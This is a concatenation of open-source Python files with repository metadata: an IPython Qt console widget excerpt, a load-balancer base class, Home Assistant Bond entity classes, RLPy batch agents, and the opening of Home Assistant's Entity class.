self._insert_html(cursor, text)
else:
self._insert_plain_text(cursor, text)
self._page_control.moveCursor(QtGui.QTextCursor.Start)
self._page_control.viewport().resize(self._control.size())
if self._splitter:
self._page_control.show()
self._page_control.setFocus()
else:
self.layout().setCurrentWidget(self._page_control)
elif html:
self._append_html(text)
else:
self._append_plain_text(text)
def _prompt_finished(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
self._control.setReadOnly(True)
self._prompt_finished_hook()
def _prompt_started(self):
""" Called immediately after a new prompt is displayed.
"""
# Temporarily disable the maximum block count to permit undo/redo and
# to ensure that the prompt position does not change due to truncation.
self._control.document().setMaximumBlockCount(0)
self._control.setUndoRedoEnabled(True)
# Work around bug in QPlainTextEdit: input method is not re-enabled
# when read-only is disabled.
self._control.setReadOnly(False)
self._control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
if not self._reading:
self._executing = False
self._prompt_started_hook()
# If the input buffer has changed while executing, load it.
if self._input_buffer_pending:
self.input_buffer = self._input_buffer_pending
self._input_buffer_pending = ''
self._control.moveCursor(QtGui.QTextCursor.End)
def _readline(self, prompt='', callback=None):
""" Reads one line of input from the user.
Parameters
----------
prompt : str, optional
The prompt to print before reading the line.
callback : callable, optional
A callback to execute with the read line. If not specified, input is
read *synchronously* and this method does not return until it has
been read.
Returns
-------
If a callback is specified, returns nothing. Otherwise, returns the
input string with the trailing newline stripped.
"""
if self._reading:
raise RuntimeError('Cannot read a line. Widget is already reading.')
if not callback and not self.isVisible():
# If the user cannot see the widget, this function cannot return.
raise RuntimeError('Cannot synchronously read a line if the widget '
'is not visible!')
self._reading = True
self._show_prompt(prompt, newline=False)
if callback is None:
self._reading_callback = None
while self._reading:
QtCore.QCoreApplication.processEvents()
return self._get_input_buffer(force=True).rstrip('\n')
else:
self._reading_callback = lambda: \
callback(self._get_input_buffer(force=True).rstrip('\n'))
def _set_continuation_prompt(self, prompt, html=False):
""" Sets the continuation prompt.
Parameters
----------
prompt : str
The prompt to show when more input is needed.
html : bool, optional (default False)
If set, the prompt will be inserted as formatted HTML. Otherwise,
the prompt will be treated as plain text, though ANSI color codes
will be handled.
"""
if html:
self._continuation_prompt_html = prompt
else:
self._continuation_prompt = prompt
self._continuation_prompt_html = None
def _set_cursor(self, cursor):
""" Convenience method to set the current cursor.
"""
self._control.setTextCursor(cursor)
def _set_top_cursor(self, cursor):
""" Scrolls the viewport so that the specified cursor is at the top.
"""
scrollbar = self._control.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
original_cursor = self._control.textCursor()
self._control.setTextCursor(cursor)
self._control.ensureCursorVisible()
self._control.setTextCursor(original_cursor)
def _show_prompt(self, prompt=None, html=False, newline=True):
""" Writes a new prompt at the end of the buffer.
Parameters
----------
prompt : str, optional
The prompt to show. If not specified, the previous prompt is used.
html : bool, optional (default False)
Only relevant when a prompt is specified. If set, the prompt will
be inserted as formatted HTML. Otherwise, the prompt will be treated
as plain text, though ANSI color codes will be handled.
newline : bool, optional (default True)
If set, a new line will be written before showing the prompt if
there is not already a newline at the end of the buffer.
"""
# Save the current end position to support _append*(before_prompt=True).
cursor = self._get_end_cursor()
self._append_before_prompt_pos = cursor.position()
# Insert a preliminary newline, if necessary.
if newline and cursor.position() > 0:
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() != '\n':
self._append_plain_text('\n')
# Write the prompt.
self._append_plain_text(self._prompt_sep)
if prompt is None:
if self._prompt_html is None:
self._append_plain_text(self._prompt)
else:
self._append_html(self._prompt_html)
else:
if html:
self._prompt = self._append_html_fetching_plain_text(prompt)
self._prompt_html = prompt
else:
self._append_plain_text(prompt)
self._prompt = prompt
self._prompt_html = None
self._prompt_pos = self._get_end_cursor().position()
self._prompt_started()
#------ Signal handlers ----------------------------------------------------
def _adjust_scrollbars(self):
""" Expands the vertical scrollbar beyond the range set by Qt.
"""
# This code is adapted from _q_adjustScrollbars in qplaintextedit.cpp
# and qtextedit.cpp.
document = self._control.document()
scrollbar = self._control.verticalScrollBar()
viewport_height = self._control.viewport().height()
if isinstance(self._control, QtGui.QPlainTextEdit):
maximum = max(0, document.lineCount() - 1)
step = viewport_height / self._control.fontMetrics().lineSpacing()
else:
# QTextEdit does not do line-based layout and blocks will not in
# general have the same height. Therefore it does not make sense to
# attempt to scroll in line height increments.
maximum = document.size().height()
step = viewport_height
diff = maximum - scrollbar.maximum()
scrollbar.setRange(0, maximum)
scrollbar.setPageStep(step)
# Compensate for undesirable scrolling that occurs automatically due to
# maximumBlockCount() text truncation.
if diff < 0 and document.blockCount() == document.maximumBlockCount():
scrollbar.setValue(scrollbar.value() + diff)
def _custom_context_menu_requested(self, pos):
""" Shows a context menu at the given QPoint (in widget coordinates).
"""
menu = self._context_menu_make(pos)
menu.exec_(self._control.mapToGlobal(pos))
| {
"repo_name": "sodafree/backend",
"path": "build/ipython/IPython/frontend/qt/console/console_widget.py",
"copies": "3",
"size": "78506",
"license": "bsd-3-clause",
"hash": 7261474641960255000,
"line_mean": 39.8459937565,
"line_max": 100,
"alpha_frac": 0.5657784118,
"autogenerated": false,
"ratio": 4.658280424850175,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.6724058836650175,
"avg_score": null,
"num_lines": null
} |
"""An abstract base class for load balancer.
Load balancers track an underlying server set, and return a sink to service a
request.
"""
from abc import abstractmethod
import functools
import logging
import random
import gevent
from gevent.event import Event
from ..asynchronous import AsyncResult
from ..constants import (
ChannelState,
SinkProperties,
SinkRole
)
from ..message import Deadline
from ..sink import ClientMessageSink
ROOT_LOG = logging.getLogger("scales.loadbalancer")
class NoMembersError(Exception): pass
class LoadBalancerSink(ClientMessageSink):
"""Base class for all load balancer sinks."""
Role = SinkRole.LoadBalancer
def __init__(self, next_provider, sink_properties, global_properties):
self._properties = global_properties
service_name = global_properties[SinkProperties.Label]
server_set_provider = sink_properties.server_set_provider
log_name = self.__class__.__name__.replace('ChannelSink', '')
self._log = ROOT_LOG.getChild('%s.[%s]' % (log_name, service_name))
self.__init_done = Event()
self.__open_ar = None
self.__open_greenlet = None
self._server_set_provider = server_set_provider
self._endpoint_name = server_set_provider.endpoint_name
self._next_sink_provider = next_provider
self._state = ChannelState.Idle
self._servers = {}
super(LoadBalancerSink, self).__init__()
@property
def state(self):
return self._state
def Open(self):
if self.__open_ar:
return self.__open_ar
self.__open_ar = AsyncResult()
self.__open_greenlet = gevent.spawn(self._OpenImpl)
return self.__open_ar
def _OpenImpl(self):
while self._state != ChannelState.Closed:
try:
self._server_set_provider.Initialize(
self.__OnServerSetJoin,
self.__OnServerSetLeave)
server_set = self._server_set_provider.GetServers()
except gevent.GreenletExit:
return
except:
self._log.exception("Unable to initialize serverset, retrying in 5 seconds.")
gevent.sleep(5)
continue
random.shuffle(server_set)
self._servers = {}
[self.__AddServer(m) for m in server_set]
self.__init_done.set()
self._OpenInitialChannels()
self._open_greenlet = None
self._state = ChannelState.Open
return True
@abstractmethod
def _OpenInitialChannels(self):
"""To be overriden by subclasses. Called after the ServerSet is initialized
and the initial set of servers has been loaded.
"""
pass
def _OnOpenComplete(self):
"""To be called by subclasses when they've completed (successfully or not)
opening their sinks.
"""
self.__open_ar.set(True)
def WaitForOpenComplete(self, timeout=None):
self.__open_ar.wait(timeout)
def Close(self):
self._server_set_provider.Close()
self._state = ChannelState.Closed
self.__init_done.clear()
if self.__open_greenlet:
self.__open_greenlet.kill(block=False)
self.__open_greenlet = None
self.__open_ar = None
@abstractmethod
def _AsyncProcessRequestImpl(self, sink_stack, msg, stream, headers):
pass
def AsyncProcessRequest(self, sink_stack, msg, stream, headers):
if not self.__open_ar.ready():
def _on_open_done(_):
timeout_event = msg.properties.get(Deadline.EVENT_KEY, None)
# Either there is no timeout, or the timeout hasn't expired yet.
if not timeout_event or not timeout_event.Get():
self._AsyncProcessRequestImpl(sink_stack, msg, stream, headers)
self.__open_ar.rawlink(_on_open_done)
else:
self._AsyncProcessRequestImpl(sink_stack, msg, stream, headers)
def __GetEndpoint(self, instance):
if self._endpoint_name:
aeps = instance.additional_endpoints
ep = aeps.get(self._endpoint_name, None)
if not ep:
raise ValueError(
"Endpoint name %s not found in endpoints", self._endpoint_name)
return ep
else:
return instance.service_endpoint
def _OnServersChanged(self, endpoint, channel_factory, added):
"""Overridable by child classes. Invoked when servers in the server set are
added or removed.
Args:
instance - The server set member being added or removed.
added - True if the instance is being added, False if it's being removed.
"""
pass
def __AddServer(self, instance):
"""Adds a servers to the set of servers available to the load balancer.
Note: The new sink is not opened at this time.
Args:
instance - A Member object to be added to the pool.
"""
ep = self.__GetEndpoint(instance)
if not ep in self._servers:
new_props = self._properties.copy()
new_props.update({ SinkProperties.Endpoint: ep })
channel_factory = functools.partial(self._next_sink_provider.CreateSink, new_props)
self._servers[ep] = channel_factory
self._log.info("Instance %s joined (%d members)" % (
ep, len(self._servers)))
self._OnServersChanged(ep, channel_factory, True)
def __RemoveServer(self, instance):
"""Removes a server from the load balancer.
Args:
instance - A Member object to be removed from the pool.
"""
ep = self.__GetEndpoint(instance)
channel_factory = self._servers.pop(ep, None)
self._OnServersChanged(ep, channel_factory, False)
def __OnServerSetJoin(self, instance):
"""Invoked when an instance joins the server set.
Args:
instance - Instance added to the cluster.
"""
# callbacks from the ServerSet are delivered serially, so we can guarantee
# that once this unblocks, we'll still get the notifications delivered in
# the order that they arrived. Ex: OnJoin(a) -> OnLeave(a)
self.__init_done.wait()
# OnJoin notifications are delivered at startup, however we already
# pre-populate our copy of the ServerSet, so it's fine to ignore duplicates.
if self.__GetEndpoint(instance) in self._servers:
return
self.__AddServer(instance)
def __OnServerSetLeave(self, instance):
"""Invoked when an instance leaves the server set.
Args:
instance - Instance leaving the cluster.
"""
self.__init_done.wait()
self.__RemoveServer(instance)
self._log.info("Instance %s left (%d members)" % (
self.__GetEndpoint(instance), len(self._servers)))
| {
"repo_name": "steveniemitz/scales",
"path": "scales/loadbalancer/base.py",
"copies": "1",
"size": "6357",
"license": "mit",
"hash": -1930885630400194000,
"line_mean": 31.4336734694,
"line_max": 89,
"alpha_frac": 0.6724870222,
"autogenerated": false,
"ratio": 3.943548387096774,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5116035409296774,
"avg_score": null,
"num_lines": null
} |
"""An abstract class common to all Bond entities."""
from abc import abstractmethod
from asyncio import Lock, TimeoutError as AsyncIOTimeoutError
from datetime import timedelta
import logging
from typing import Any, Dict, Optional
from aiohttp import ClientError
from bond_api import BPUPSubscriptions
from homeassistant.const import ATTR_NAME
from homeassistant.core import callback
from homeassistant.helpers.entity import Entity
from homeassistant.helpers.event import async_track_time_interval
from .const import DOMAIN
from .utils import BondDevice, BondHub
_LOGGER = logging.getLogger(__name__)
_FALLBACK_SCAN_INTERVAL = timedelta(seconds=10)
class BondEntity(Entity):
"""Generic Bond entity encapsulating common features of any Bond controlled device."""
def __init__(
self,
hub: BondHub,
device: BondDevice,
bpup_subs: BPUPSubscriptions,
sub_device: Optional[str] = None,
):
"""Initialize entity with API and device info."""
self._hub = hub
self._device = device
self._device_id = device.device_id
self._sub_device = sub_device
self._available = True
self._bpup_subs = bpup_subs
self._update_lock = None
self._initialized = False
@property
def unique_id(self) -> Optional[str]:
"""Get unique ID for the entity."""
hub_id = self._hub.bond_id
device_id = self._device_id
sub_device_id: str = f"_{self._sub_device}" if self._sub_device else ""
return f"{hub_id}_{device_id}{sub_device_id}"
@property
def name(self) -> Optional[str]:
"""Get entity name."""
return self._device.name
@property
def should_poll(self):
"""No polling needed."""
return False
@property
def device_info(self) -> Optional[Dict[str, Any]]:
"""Get a an HA device representing this Bond controlled device."""
device_info = {
ATTR_NAME: self.name,
"manufacturer": self._hub.make,
"identifiers": {(DOMAIN, self._hub.bond_id, self._device_id)},
"via_device": (DOMAIN, self._hub.bond_id),
}
if not self._hub.is_bridge:
device_info["model"] = self._hub.model
device_info["sw_version"] = self._hub.fw_ver
else:
model_data = []
if self._device.branding_profile:
model_data.append(self._device.branding_profile)
if self._device.template:
model_data.append(self._device.template)
if model_data:
device_info["model"] = " ".join(model_data)
return device_info
@property
def assumed_state(self) -> bool:
"""Let HA know this entity relies on an assumed state tracked by Bond."""
return self._hub.is_bridge and not self._device.trust_state
@property
def available(self) -> bool:
"""Report availability of this entity based on last API call results."""
return self._available
async def async_update(self):
"""Fetch assumed state of the cover from the hub using API."""
await self._async_update_from_api()
async def _async_update_if_bpup_not_alive(self, *_):
"""Fetch via the API if BPUP is not alive."""
if self._bpup_subs.alive and self._initialized:
return
if self._update_lock.locked():
_LOGGER.warning(
"Updating %s took longer than the scheduled update interval %s",
self.entity_id,
_FALLBACK_SCAN_INTERVAL,
)
return
async with self._update_lock:
await self._async_update_from_api()
self.async_write_ha_state()
async def _async_update_from_api(self):
"""Fetch via the API."""
try:
state: dict = await self._hub.bond.device_state(self._device_id)
except (ClientError, AsyncIOTimeoutError, OSError) as error:
if self._available:
_LOGGER.warning(
"Entity %s has become unavailable", self.entity_id, exc_info=error
)
self._available = False
else:
self._async_state_callback(state)
@abstractmethod
def _apply_state(self, state: dict):
raise NotImplementedError
@callback
def _async_state_callback(self, state):
"""Process a state change."""
self._initialized = True
if not self._available:
_LOGGER.info("Entity %s has come back", self.entity_id)
self._available = True
_LOGGER.debug(
"Device state for %s (%s) is:\n%s", self.name, self.entity_id, state
)
self._apply_state(state)
@callback
def _async_bpup_callback(self, state):
"""Process a state change from BPUP."""
self._async_state_callback(state)
self.async_write_ha_state()
async def async_added_to_hass(self):
"""Subscribe to BPUP and start polling."""
await super().async_added_to_hass()
self._update_lock = Lock()
self._bpup_subs.subscribe(self._device_id, self._async_bpup_callback)
self.async_on_remove(
async_track_time_interval(
self.hass, self._async_update_if_bpup_not_alive, _FALLBACK_SCAN_INTERVAL
)
)
async def async_will_remove_from_hass(self) -> None:
"""Unsubscribe from BPUP data on remove."""
await super().async_will_remove_from_hass()
self._bpup_subs.unsubscribe(self._device_id, self._async_bpup_callback)
| {
"repo_name": "turbokongen/home-assistant",
"path": "homeassistant/components/bond/entity.py",
"copies": "1",
"size": "5629",
"license": "apache-2.0",
"hash": -4086932219503283000,
"line_mean": 33.1151515152,
"line_max": 90,
"alpha_frac": 0.6011724996,
"autogenerated": false,
"ratio": 4.04091888011486,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0005027356236788516,
"num_lines": 165
} |
"""An abstract class common to all Bond entities."""
from abc import abstractmethod
from asyncio import TimeoutError as AsyncIOTimeoutError
import logging
from typing import Any, Dict, Optional
from aiohttp import ClientError
from homeassistant.const import ATTR_NAME
from homeassistant.helpers.entity import Entity
from .const import DOMAIN
from .utils import BondDevice, BondHub
_LOGGER = logging.getLogger(__name__)
class BondEntity(Entity):
"""Generic Bond entity encapsulating common features of any Bond controlled device."""
def __init__(
self, hub: BondHub, device: BondDevice, sub_device: Optional[str] = None
):
"""Initialize entity with API and device info."""
self._hub = hub
self._device = device
self._sub_device = sub_device
self._available = True
@property
def unique_id(self) -> Optional[str]:
"""Get unique ID for the entity."""
hub_id = self._hub.bond_id
device_id = self._device.device_id
sub_device_id: str = f"_{self._sub_device}" if self._sub_device else ""
return f"{hub_id}_{device_id}{sub_device_id}"
@property
def name(self) -> Optional[str]:
"""Get entity name."""
return self._device.name
@property
def device_info(self) -> Optional[Dict[str, Any]]:
"""Get a an HA device representing this Bond controlled device."""
return {
ATTR_NAME: self.name,
"identifiers": {(DOMAIN, self._device.device_id)},
"via_device": (DOMAIN, self._hub.bond_id),
}
@property
def assumed_state(self) -> bool:
"""Let HA know this entity relies on an assumed state tracked by Bond."""
return self._hub.is_bridge and not self._device.trust_state
@property
def available(self) -> bool:
"""Report availability of this entity based on last API call results."""
return self._available
async def async_update(self):
"""Fetch assumed state of the cover from the hub using API."""
try:
state: dict = await self._hub.bond.device_state(self._device.device_id)
except (ClientError, AsyncIOTimeoutError, OSError) as error:
if self._available:
_LOGGER.warning(
"Entity %s has become unavailable", self.entity_id, exc_info=error
)
self._available = False
else:
_LOGGER.debug("Device state for %s is:\n%s", self.entity_id, state)
if not self._available:
_LOGGER.info("Entity %s has come back", self.entity_id)
self._available = True
self._apply_state(state)
@abstractmethod
def _apply_state(self, state: dict):
raise NotImplementedError
| {
"repo_name": "mezz64/home-assistant",
"path": "homeassistant/components/bond/entity.py",
"copies": "6",
"size": "2793",
"license": "apache-2.0",
"hash": 827650178792911500,
"line_mean": 33.4814814815,
"line_max": 90,
"alpha_frac": 0.619763695,
"autogenerated": false,
"ratio": 4.219033232628399,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.7838796927628398,
"avg_score": null,
"num_lines": null
} |
"""An abstract class common to all Bond entities."""
from __future__ import annotations
from abc import abstractmethod
from asyncio import Lock, TimeoutError as AsyncIOTimeoutError
from datetime import timedelta
import logging
from typing import Any
from aiohttp import ClientError
from bond_api import BPUPSubscriptions
from homeassistant.const import ATTR_NAME
from homeassistant.core import callback
from homeassistant.helpers.entity import Entity
from homeassistant.helpers.event import async_track_time_interval
from .const import DOMAIN
from .utils import BondDevice, BondHub
_LOGGER = logging.getLogger(__name__)
_FALLBACK_SCAN_INTERVAL = timedelta(seconds=10)
class BondEntity(Entity):
"""Generic Bond entity encapsulating common features of any Bond controlled device."""
def __init__(
self,
hub: BondHub,
device: BondDevice,
bpup_subs: BPUPSubscriptions,
sub_device: str | None = None,
):
"""Initialize entity with API and device info."""
self._hub = hub
self._device = device
self._device_id = device.device_id
self._sub_device = sub_device
self._available = True
self._bpup_subs = bpup_subs
self._update_lock: Lock | None = None
self._initialized = False
@property
def unique_id(self) -> str | None:
"""Get unique ID for the entity."""
hub_id = self._hub.bond_id
device_id = self._device_id
sub_device_id: str = f"_{self._sub_device}" if self._sub_device else ""
return f"{hub_id}_{device_id}{sub_device_id}"
@property
def name(self) -> str | None:
"""Get entity name."""
if self._sub_device:
sub_device_name = self._sub_device.replace("_", " ").title()
return f"{self._device.name} {sub_device_name}"
return self._device.name
@property
def should_poll(self) -> bool:
"""No polling needed."""
return False
@property
def device_info(self) -> dict[str, Any] | None:
"""Get a an HA device representing this Bond controlled device."""
device_info = {
ATTR_NAME: self.name,
"manufacturer": self._hub.make,
"identifiers": {(DOMAIN, self._hub.bond_id, self._device.device_id)},
"suggested_area": self._device.location,
"via_device": (DOMAIN, self._hub.bond_id),
}
if not self._hub.is_bridge:
device_info["model"] = self._hub.model
device_info["sw_version"] = self._hub.fw_ver
else:
model_data = []
if self._device.branding_profile:
model_data.append(self._device.branding_profile)
if self._device.template:
model_data.append(self._device.template)
if model_data:
device_info["model"] = " ".join(model_data)
return device_info
@property
def assumed_state(self) -> bool:
"""Let HA know this entity relies on an assumed state tracked by Bond."""
return self._hub.is_bridge and not self._device.trust_state
@property
def available(self) -> bool:
"""Report availability of this entity based on last API call results."""
return self._available
async def async_update(self) -> None:
"""Fetch assumed state of the cover from the hub using API."""
await self._async_update_from_api()
async def _async_update_if_bpup_not_alive(self, *_: Any) -> None:
"""Fetch via the API if BPUP is not alive."""
if self._bpup_subs.alive and self._initialized and self._available:
return
assert self._update_lock is not None
if self._update_lock.locked():
_LOGGER.warning(
"Updating %s took longer than the scheduled update interval %s",
self.entity_id,
_FALLBACK_SCAN_INTERVAL,
)
return
async with self._update_lock:
await self._async_update_from_api()
self.async_write_ha_state()
async def _async_update_from_api(self) -> None:
"""Fetch via the API."""
try:
state: dict = await self._hub.bond.device_state(self._device_id)
except (ClientError, AsyncIOTimeoutError, OSError) as error:
if self._available:
_LOGGER.warning(
"Entity %s has become unavailable", self.entity_id, exc_info=error
)
self._available = False
else:
self._async_state_callback(state)
@abstractmethod
def _apply_state(self, state: dict) -> None:
raise NotImplementedError
@callback
def _async_state_callback(self, state: dict) -> None:
"""Process a state change."""
self._initialized = True
if not self._available:
_LOGGER.info("Entity %s has come back", self.entity_id)
self._available = True
_LOGGER.debug(
"Device state for %s (%s) is:\n%s", self.name, self.entity_id, state
)
self._apply_state(state)
@callback
def _async_bpup_callback(self, state: dict) -> None:
"""Process a state change from BPUP."""
self._async_state_callback(state)
self.async_write_ha_state()
async def async_added_to_hass(self) -> None:
"""Subscribe to BPUP and start polling."""
await super().async_added_to_hass()
self._update_lock = Lock()
self._bpup_subs.subscribe(self._device_id, self._async_bpup_callback)
self.async_on_remove(
async_track_time_interval(
self.hass, self._async_update_if_bpup_not_alive, _FALLBACK_SCAN_INTERVAL
)
)
async def async_will_remove_from_hass(self) -> None:
"""Unsubscribe from BPUP data on remove."""
await super().async_will_remove_from_hass()
self._bpup_subs.unsubscribe(self._device_id, self._async_bpup_callback)
| {
"repo_name": "sander76/home-assistant",
"path": "homeassistant/components/bond/entity.py",
"copies": "3",
"size": "6018",
"license": "apache-2.0",
"hash": -4802596488727780000,
"line_mean": 33.988372093,
"line_max": 90,
"alpha_frac": 0.5987038883,
"autogenerated": false,
"ratio": 3.998671096345515,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0005531773247571514,
"num_lines": 172
} |
"""An abstract class for Batch Learning Agents"""
from .Agent import Agent
import numpy as np
__copyright__ = "Copyright 2013, RLPy http://acl.mit.edu/RLPy"
__credits__ = ["Alborz Geramifard", "Robert H. Klein", "Christoph Dann",
"William Dabney", "Jonathan P. How"]
__license__ = "BSD 3-Clause"
__author__ = "Alborz Geramifard"
class BatchAgent(Agent):
"""An abstract class for batch agents
"""
max_window = 0
samples_count = 0 # Number of samples gathered so far
def __init__(self, policy, representation, discount_factor, max_window):
super(BatchAgent, self).__init__(policy, representation, discount_factor=discount_factor)
self.max_window = max_window
self.samples_count = 0
# Take memory for stored values
self.data_s = np.zeros((max_window, self. representation.state_space_dims))
self.data_ns = np.zeros((max_window, self.representation.state_space_dims))
self.data_a = np.zeros((max_window, 1), dtype=np.uint32)
self.data_na = np.zeros((max_window, 1), dtype=np.uint32)
self.data_r = np.zeros((max_window, 1))
def learn(self, s, p_actions, a, r, ns, np_actions, na, terminal):
"""Iterative learning method for the agent.
Args:
s (ndarray): The current state features
p_actions (ndarray): The actions available in state s
a (int): The action taken by the agent in state s
r (float): The reward received by the agent for taking action a in state s
ns (ndarray): The next state features
np_actions (ndarray): The actions available in state ns
na (int): The action taken by the agent in state ns
terminal (bool): Whether or not ns is a terminal state
"""
self.store_samples(s, a, r, ns, na, terminal)
if terminal:
self.episodeTerminated()
if self.samples_count % self.max_window == 0:
self.batch_learn()
def batch_learn(self):
pass
def store_samples(self, s, a, r, ns, na, terminal):
"""Process one transition instance."""
# Save samples
self.data_s[self.samples_count, :] = s
self.data_a[self.samples_count] = a
self.data_r[self.samples_count] = r
self.data_ns[self.samples_count, :] = ns
self.data_na[self.samples_count] = na
self.samples_count += 1
| {
"repo_name": "imanolarrieta/RL",
"path": "rlpy/Agents/BatchAgent.py",
"copies": "1",
"size": "2445",
"license": "bsd-3-clause",
"hash": 5377796474676594000,
"line_mean": 36.6153846154,
"line_max": 97,
"alpha_frac": 0.609406953,
"autogenerated": false,
"ratio": 3.6492537313432836,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9755170127281299,
"avg_score": 0.0006981114123971267,
"num_lines": 65
} |
"""An abstract class for Batch Learning Agents"""
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from builtins import super
from future import standard_library
standard_library.install_aliases()
from .Agent import Agent
import numpy as np
__copyright__ = "Copyright 2013, RLPy http://acl.mit.edu/RLPy"
__credits__ = ["Alborz Geramifard", "Robert H. Klein", "Christoph Dann",
"William Dabney", "Jonathan P. How"]
__license__ = "BSD 3-Clause"
__author__ = "Alborz Geramifard"
class BatchAgent(Agent):
"""An abstract class for batch agents
"""
max_window = 0
samples_count = 0 # Number of samples gathered so far
def __init__(self, policy, representation, discount_factor, max_window):
super(BatchAgent, self).__init__(policy, representation, discount_factor=discount_factor)
self.max_window = max_window
self.samples_count = 0
# Take memory for stored values
self.data_s = np.zeros((max_window, self. representation.state_space_dims))
self.data_ns = np.zeros((max_window, self.representation.state_space_dims))
self.data_a = np.zeros((max_window, 1), dtype=np.uint32)
self.data_na = np.zeros((max_window, 1), dtype=np.uint32)
self.data_r = np.zeros((max_window, 1))
def learn(self, s, p_actions, a, r, ns, np_actions, na, terminal):
"""Iterative learning method for the agent.
:param ndarray s: The current state features.
:param ndarray p_actions: The actions available in state s.
:param int a: The action taken by the agent in state s.
:param float r: The reward received by the agent for taking action a in state s.
:param ndarray ns: The next state features.
:param ndarray np_actions: The actions available in state ns.
:param int na: The action taken by the agent in state ns.
:param bool terminal: Whether or not ns is a terminal state.
"""
self.store_samples(s, a, r, ns, na, terminal)
if terminal:
self.episodeTerminated()
if self.samples_count % self.max_window == 0:
self.batch_learn()
def batch_learn(self):
pass
def store_samples(self, s, a, r, ns, na, terminal):
"""Process one transition instance."""
# Save samples
self.data_s[self.samples_count, :] = s
self.data_a[self.samples_count] = a
self.data_r[self.samples_count] = r
self.data_ns[self.samples_count, :] = ns
self.data_na[self.samples_count] = na
self.samples_count += 1
| {
"repo_name": "rlpy/rlpy",
"path": "rlpy/Agents/BatchAgent.py",
"copies": "1",
"size": "2680",
"license": "bsd-3-clause",
"hash": 217358220730196540,
"line_mean": 36.7464788732,
"line_max": 97,
"alpha_frac": 0.6429104478,
"autogenerated": false,
"ratio": 3.66120218579235,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.480411263359235,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
from abc import ABC
import asyncio
from datetime import datetime, timedelta
import functools as ft
import logging
from timeit import default_timer as timer
from typing import Any, Awaitable, Dict, Iterable, List, Optional
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.const import (
ATTR_ASSUMED_STATE,
ATTR_DEVICE_CLASS,
ATTR_ENTITY_PICTURE,
ATTR_FRIENDLY_NAME,
ATTR_ICON,
ATTR_SUPPORTED_FEATURES,
ATTR_UNIT_OF_MEASUREMENT,
DEVICE_DEFAULT_NAME,
STATE_OFF,
STATE_ON,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
TEMP_CELSIUS,
TEMP_FAHRENHEIT,
)
from homeassistant.core import CALLBACK_TYPE, Context, HomeAssistant, callback
from homeassistant.exceptions import HomeAssistantError, NoEntitySpecifiedError
from homeassistant.helpers.entity_platform import EntityPlatform
from homeassistant.helpers.entity_registry import RegistryEntry
from homeassistant.helpers.event import Event, async_track_entity_registry_updated_event
from homeassistant.helpers.typing import StateType
from homeassistant.loader import bind_hass
from homeassistant.util import dt as dt_util, ensure_unique_string, slugify
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
DATA_ENTITY_SOURCE = "entity_info"
SOURCE_CONFIG_ENTRY = "config_entry"
SOURCE_PLATFORM_CONFIG = "platform_config"
@callback
@bind_hass
def entity_sources(hass: HomeAssistant) -> Dict[str, Dict[str, str]]:
"""Get the entity sources."""
return hass.data.get(DATA_ENTITY_SOURCE, {})
def generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[List[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
return async_generate_entity_id(entity_id_format, name, current_ids, hass)
@callback
def async_generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[Iterable[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
name = (name or DEVICE_DEFAULT_NAME).lower()
preferred_string = entity_id_format.format(slugify(name))
if current_ids is not None:
return ensure_unique_string(preferred_string, current_ids)
if hass is None:
raise ValueError("Missing required parameter current_ids or hass")
test_string = preferred_string
tries = 1
while hass.states.get(test_string):
tries += 1
test_string = f"{preferred_string}_{tries}"
return test_string
class Entity(ABC):
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityPlatform
hass: Optional[HomeAssistant] = None
# Owning platform instance. Will be set by EntityPlatform
platform: Optional[EntityPlatform] = None
# If we reported if this entity was slow
_slow_reported = False
# If we reported this entity is updated while disabled
_disabled_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates: Optional[asyncio.Semaphore] = None
# Entry in the entity registry
registry_entry: Optional[RegistryEntry] = None
# Hold list for functions to call on remove.
_on_remove: Optional[List[CALLBACK_TYPE]] = None
# Context
_context: Optional[Context] = None
_context_set: Optional[datetime] = None
# If entity is added to an entity platform
_added = False
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> Optional[str]:
"""Return a unique ID."""
return None
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> StateType:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def capability_attributes(self) -> Optional[Dict[str, Any]]:
"""Return the capability attributes.
Attributes that explain the capabilities of an entity.
Implemented by component base class. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return the state attributes.
Implemented by component base class. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def device_state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return device specific state attributes.
Implemented by platform classes. Convention for attribute names
is lowercase snake_case.
"""
return None
@property
def device_info(self) -> Optional[Dict[str, Any]]:
"""Return device specific attributes.
Implemented by platform classes.
"""
return None
@property
